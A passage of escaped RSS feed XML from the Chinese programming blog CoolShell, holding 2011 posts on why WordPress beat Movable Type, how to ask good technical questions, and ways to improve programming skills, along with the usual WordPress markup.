的系统架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_title\">Facebook 的系统架构</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"23,148,855,308,184,500\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_title\">23,148,855,308,184,500</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3721.html\">Stack Exchange 的架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3721.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-21.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 21 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=21\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 29 Mar 2019 10:42:27 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>WordPress是怎么赢的？</title>\n\t\t<link>https://coolshell.cn/articles/3716.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3716.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 23 Feb 2011 00:25:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Automattic]]></category>\n\t\t<category><![CDATA[Movable Type]]></category>\n\t\t<category><![CDATA[Six Apart]]></category>\n\t\t<category><![CDATA[Wordpress]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3716</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一个以前在Six Apart工作4年的产品经理Byrne Reese发布了一篇文章阐述为什么WordPress成为了赢家。其在文章中比较了WordPress和其...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3716.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3716.html\">WordPress是怎么赢的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一个以前在Six Apart工作4年的产品经理<strong>Byrne Reese</strong>发布了<a href=\"http://www.majordojo.com/2011/02/how-did-wordpress-win.php\" target=\"_blank\">一篇文章</a>阐述为什么WordPress成为了赢家。其在文章中比较了WordPress和其主要竞争对手产品Movable Type。我觉得其中有可取之处，本想全文翻译的，后来觉得文章太长，翻译太花时间，所以，我把文章中的观点总结如下。</p>\n<p>作者例举了如下为什么WordPress会赢的理由：</p>\n<p><strong>一、Movable Type许可证，而WordPress是开源的</strong></p>\n<p>2004年，Movable Type修改了其许可证，这一举动激怒了所有Movable Type的用户，于是大家纷纷转投Wordpress，这是WordPress最终成为赢家最大的原因。就算是Movable Type有着优越的设计，优越的功能，还有优越的技术支持，但是面对的是一个完全免费的产品也没有办法。因为WordPress是开源的，开源就意味着完全免费，而Movable Type一开始也是免费的，但是其许可证策略有着很不确定的因素。（注：2007年Movable Type发布了开源版本）</p>\n<p><strong>二、WordPress很容易安装</strong></p>\n<p>WordPress的安装过程很简单，只需要不到5分钟，比起Movable Type来说，这太受用户和推广商欢迎，你几乎不需要去碰后台的那些Web设置。（注：不仅如此，WordPress的升级和安装插件和风格的用户体验也是非常的不错）这就是为什么大家都喜欢WordPress的原因，就算是其功能比Movable Type少了又少。</p>\n<p><span id=\"more-3716\"></span></p>\n<p><strong>三、WordPress由PHP写成</strong></p>\n<p>作者说到，本来，语言不应该成为原因，绝大多数用户在使用新产品时是不会去自己修改PHP和Perl的源码的。但是好像人们对PHP有着天生的好感。相比起Movable Type的Perl，人们似乎没有像对PHP那样觉得舒服。Perl让人感觉有些害怕。而PHP让更多的人参与进来为WordPress贡献了大量的插件和风格。另外，PHP相对于Perl来说，对于工作的技能要求不高，所以，可以很容易维护。对于技术人员来说，会有更多的人去建议老板使用PHP而不是Perl，而更多的主机空间采用PHP而不是Perl。（我个人以为，这和WordPress的设计关系可能更大，所有的Blog系统，WordPress的可定制化支持得更好一些）</p>\n<p><strong>四、WordPress的社区规模相当的大</strong></p>\n<p>WordPress之所以那么成功，有一个因素要归结于其社区，这个社区创造力实在是很强大。而且，这个社区周边有一个健康的经济商圈——“Premium Theme”，越来越多的人可以从中挣到一些钱，这样也让他们更有动力回报这个社区，这是一个非常健康的良性循环。</p>\n<p><strong>五、WordPress没有人进行强控制</strong></p>\n<p>对于WordPress来说，上述的那些事情都是社区决定的，而不是WordPress内部的人，WordPress没有选择过其许可证和编程语言。</p>\n<p><strong>六、WordPress的狂热崇拜</strong></p>\n<p>在一开始，WordPress并没有把自己定位在超出自己能力的地方，其把自己定位在不是那么优越的地方。低调的策略让WordPress的口碑不错。另一个因素是因为，Six Apart曾对WordPress进行过诽谤，这让Six Apart的诚信受到质疑，因此反而让人们更加地喜欢WordPress。再加上WordPress的谦虚低调，于是人们对WordPress产品产生了感情以及信仰，并开始和WordPress一同作战。是的，Six Apart不是一个竞争对手，而是一个完美的敌人。</p>\n<p><strong>七、Automattic的切换战役</strong></p>\n<p>Automattic是WordPress的运作公司。这是一个并不是很光彩的事情。作者说，有很多忠诚的Movable Type和TypePad用户向他透露到有来自Automattic的员式打电话给他们让他们切换到WordPress上，如果这样的人每人给他一美金，他会相当的富有。Automattic用尽一切办法和手段让用户切换到WordPress上，他们甚至给这些用户免费提供主机服务，还分配一个工程师给用户帮他们迁移系统。而当有用户迁移了，他们则制造一个成功的案例来鼓动别的用户。</p>\n<p><strong>八、Six Apart 收购 Apperceptive</strong></p>\n<p>Six Apart收购Apperceptive并没有错，而且还有很不错的利润增涨。问题是，收购以后，Six Apart从其社区中雇佣了很多很聪明的也有创造性的人到他的公司里。然后这些人加入后，其吞食了本来Six Apart以专业注称的服务。更糟糕的是，这个做法等于削弱了其社区的力量，社区里缺少领袖级的人物，于是只有Six Apart在战斗。</p>\n<p><strong>九、Six Apart 自己的失败</strong></p>\n<p>作者归结为一点：Six Apart严重地阻碍了自己的竞争力，因为其把自己的精力分布在了很多产品上。简而言之一句话——没有专注。如果Six Apart专注地做一个事，比如就做TypePad 或是 Movable Type，那么，今天的情况可能会很不一样。虽然，WordPress还是无可质疑地会成为最流行的Blog，但是他依然会面对着强大的对手，双方需要不停地在创新和技术上比拼。</p>\n<p>最后，作者说，目前这个世界上有WordPress, Drupal, Expression Engine, Movable Type, Simple CMS, TypePad, Twitter, Instagram, Tumblr,或是其它东西。作者让大家扪心自问——“是否WordPress是最好的产品？”作者依然认为 Movable Type 是最好的产品。其今天还是成为了很多商业公司的首选。</p>\n<p>——————————</p>\n<p>我个人觉得Blog的用户群其实对Blog的需求其实并不多，只需要可以发布文章，有评论，可以在边栏上添加一些小饰件，可以改变一下样式，最好自己的文章有人帮着做做推广什么的，基本上就是这个样子。所以，像新浪，搜狐这样提供商其实更好。更多的用户是不会去搭建自己的专有的blog的。所以，能自己搭建自己的blog的这群人，还是以技术人员偏多，而WordPress正好满足了技术人员的胃口。（老实说，WordPress的后台操作对于非技术人员的电脑用户来说还是很不够友好——太复杂，性能上好像也不是很好，插件多是多，但好的插件就那么几个）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"十个Web开发文章和教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_title\">十个Web开发文章和教程</a></li><li ><a href=\"https://coolshell.cn/articles/914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"6个变态的C语言Hello World程序\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/914.html\" class=\"wp_rp_title\">6个变态的C语言Hello World程序</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li><li ><a href=\"https://coolshell.cn/articles/3.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/webicon3-150x150.png\" alt=\"50套Web开发图标\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3.html\" class=\"wp_rp_title\">50套Web开发图标</a></li><li ><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"OSGi和Java企业级运算的未来方向\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_title\">OSGi和Java企业级运算的未来方向</a></li><li ><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"C语言和sh脚本的杂交代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_title\">C语言和sh脚本的杂交代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3716.html\">WordPress是怎么赢的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3716.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>102</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你会问问题吗？</title>\n\t\t<link>https://coolshell.cn/articles/3713.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3713.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Feb 2011 00:40:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Question]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3713</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在工作和生活中，总是会有很多人问题我很多技术方面的问题。有一些时候，问问题的和答问题的总是会有一些不爽的事情发生。如下面的几种情况： 比如：“我的电脑老是蓝屏，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3713.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3713.html\">你会问问题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在工作和生活中，总是会有很多人问题我很多技术方面的问题。有一些时候，问问题的和答问题的总是会有一些不爽的事情发生。如下面的几种情况：</p>\n<ul>\n<li>比如：“我的电脑老是蓝屏，怎么办？”，通常这样的问题90%以上的回答是：“重装吧”。这让问问题的人感到很沮丧，但你不能不承认那不是答案。而且有时候让人无法解答，比如：“我的makefiel出错了，你帮我看看我的makfile”，我通常会非反问，报了什么错吗？</li>\n<li>另一种情况是，回答问题的人首先先对问问题的人的抱怨，你问的问题就不对，或是，你问的这个问题是什么意思，而导致问问题的人却在不停地解释，结果花了好长时间来讨论问题本身是什么。</li>\n<li>还有一种情况是，问的问题太简单了甚至太白痴了，比如你自己试一试或是读读文档就知道了的问题，或是问这个问题直接表明了你的无知或是懒惰。这种问题会相当影响别人对你的印象。</li>\n<li>第四种情况是，提问者滔滔不绝，扯这扯那，讲了一大堆，听得听累了。最后都不知道你要干什么。</li>\n</ul>\n<p>所以，怎么去问问题，怎么问一个好的问题，是一个很重要的事。你提问的技术直接关系到了你是否能够很快得到你满意的答案。</p>\n<p>这里有一篇文章推荐给大家《<a href=\"http://www.catb.org/~esr/faqs/smart-questions.html\" target=\"_blank\" rel=\"noopener noreferrer\">How To Ask Questions The Smart Way</a>》，中文版在这里《<a href=\"https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way\" target=\"_blank\" rel=\"noopener noreferrer\">提问的智慧</a>》，我把其中的几个亮点总结如下：</p>\n<p><span id=\"more-3713\"></span></p>\n<ul>\n<li>提问前先自己尝试查找答案，读读文档、手册，看看有没有相似的问题，看看那些方法能不能帮你解决问题，自己去试一试。如果你是程序员，你应该先学会自己调查一下源代码。（不然，人家回答你的一定是——RTFM &#8211; Read The Fucking Manual）这样的问题很多。我有时候很不愿意回答这样的问题，因为我觉得问问题的人把我当成了他的小跟班了。</li>\n</ul>\n<ul>\n<li>提问的时候，找正确的人或是正确的论坛发问。向陌生人或是不负责的人提问可能会是很危险的。不正确的人，会让你事倍功半。如果你问Linux的人Windows太慢怎么办？他们一定会让你把Windows删了装Linux去的。</li>\n</ul>\n<ul>\n<li>问的问题一定要是很明确的，并且阐述你做了哪些尝试，你一定要简化你的问题，这样可以让你的问题更容易被回答。对于一些问题，最好提供最小化的重现问题的步骤。</li>\n</ul>\n<ul>\n<li>你一定要让问题变得简单易读，这和写代码是一样的。只有简单易读的邮件，人们才会去读，试想看到一封巨大无比的邮件，读邮件的心情都没有了。而且，内容越多，可能越容易让人理解错了。</li>\n</ul>\n<ul>\n<li>你问问题的态度应该是以一种讨论的态度，即不是低三下四，也不是没有底气。只有这样，你和你的问题才能真正被人看得起。要达到这个状态，不想让别人看不起你，你就一定需要自己去做好充足的调查。问题 问得好的话，其实会让人觉得你很有经验的，能想到别人想不到的地方。</li>\n</ul>\n<ul>\n<li>不要过早下结论。比如：“我这边的程序不转了，我觉得是你那边的问题，你什么时候能fix？”，或是“太难调试了，gdb怎么这么烂？！”。当你这么做的时候，你一定要有足够的信息和证据，否则，你就显得很自大。好的问题应该是，“我和你的接口的程序有问题，我输入了这样的合法的参数，但是XX函数却总是返回失败，我们能一起看看吗？”，“我看了一下gdb的文档，发现我在用XXX命令调试YYY的时候，有这样ZZZ的问题，是不是我哪里做错了？”</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10804.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/x-y.problem-150x150.jpg\" alt=\"X-Y Problem\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10804.html\" class=\"wp_rp_title\">X-Y Problem</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3713.html\">你会问问题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3713.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>提高编程技能最有效的方法</title>\n\t\t<link>https://coolshell.cn/articles/3698.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3698.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 21 Feb 2011 00:31:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3698</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>StackExchange.com上有两个贴子（贴子一，贴子二），贴子名叫“What is the single most effective thing yo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3698.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3698.html\">提高编程技能最有效的方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>StackExchange.com上有两个贴子（<a href=\"http://programmers.stackexchange.com/questions/3089/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill\" target=\"_blank\">贴子一</a>，<a href=\"http://programmers.stackexchange.com/questions/44177/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill\" target=\"_blank\">贴子二</a>），贴子名叫“What is the single most effective thing you did to improve your programming skills?” &#8211; 对你的编程技术提高最有效的一件事是什么？回复的人中给了很多很不错的建议，我把他们总结了一下，十条，相信一定会对你有用。（注意：顺序是我自己按我的个人经验排的）</p>\n<ul>\n<li>和比自己聪明的能力比自己强的人工作。学习他们的代码，他们的做事方法，看一看那些人是怎么处理错误的。</li>\n</ul>\n<ul>\n<li>总是倾听别人怎么说，无论那个的资历和职位是什么样的。</li>\n</ul>\n<ul>\n<li>实践，实践，实践，总是不满意于一开始出来的事。</li>\n</ul>\n<ul>\n<li>多问问自己，现在在写什么代码？为什么要这样写成这样？还有没有更好的方法？</li>\n</ul>\n<ul>\n<li>学习多样的技术，多多比较他们，并一定要了解各种技术的优缺点。</li>\n</ul>\n<ul>\n<li>总是问别人问好的问题。</li>\n</ul>\n<ul>\n<li>多回头看看走过的路，做过的事，写过的程序，感觉一下他们有多烂。</li>\n</ul>\n<ul>\n<li>多读读那些大师写的书。</li>\n</ul>\n<ul>\n<li>不要总坐在电脑前编程序，多做做运动，多到户外走走，和非技术人多接触，向他们学习。</li>\n</ul>\n<ul>\n<li>把你的想法说出去，看看别人怎么回应的。从别人的回应中学习。</li>\n</ul>\n<p>除了这些，下面是我个人想给你的建议——</p>\n<p><span id=\"more-3698\"></span><br />\n可能只能算精神，不能算方法。我以前也写过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2606.html\" target=\"_blank\">五个方法成为更好的程序员</a>》，《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>》，还有《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀程序员的十个习惯</a>》这几篇文章也能给你一些启发。</p>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>热情</strong></span>。对编程充满热情。这种热情会导致强烈地专研精神，和努力的精神。<strong>专研精神相当重要，它是畏难情绪的天敌</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>知道</strong></span>。学习技术要“知其道，明其理”，而不仅仅只是了解知识。举例，为什么C++有“初始化例表”而Java却没有？为什么Java的没有多重继承？为会有了TCP还要UDP？对于一个事物，什么是好的，什么是不好的。不但要了解其表面，还要了解其思想。<strong>只有了解原始的初衷和目的，你才能真正“知道”</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>犯错</strong></span>。不犯错误永远没有经验，从自己的错误和别人的错误中学习，只有自己犯了错，才会真正明白。犯错不可怕，可怕的是不会总结只有真正的摸爬滚打过的人才是强人。<strong>技能和经验总是用错误去换来的</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>回顾</strong></span>。要多去回顾过去，看看历史上发生过的事。这样你才能明白事物的发展规律，从面才能了解未来的路。举例：单机 -&gt; Client/Server -&gt; 中间应用层 -&gt; 多层结构 -&gt; 分布式结构。 C -&gt; C++ -&gt; Java，等等，等等。<strong>未来其实就在回顾过去之中</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>质疑</strong></span>。质疑精神很重要。质疑通常会导致不同意见甚至反对意见。也许你会质疑错，也许你会被质疑，但是你的认知也会因为不同的观点而变得完整。有所同有所不同（“同”为同意及相同），<strong>观点因为不同才能迸发出火花，事物也此而发展，世界因为不同而精彩</strong>。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3698.html\">提高编程技能最有效的方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 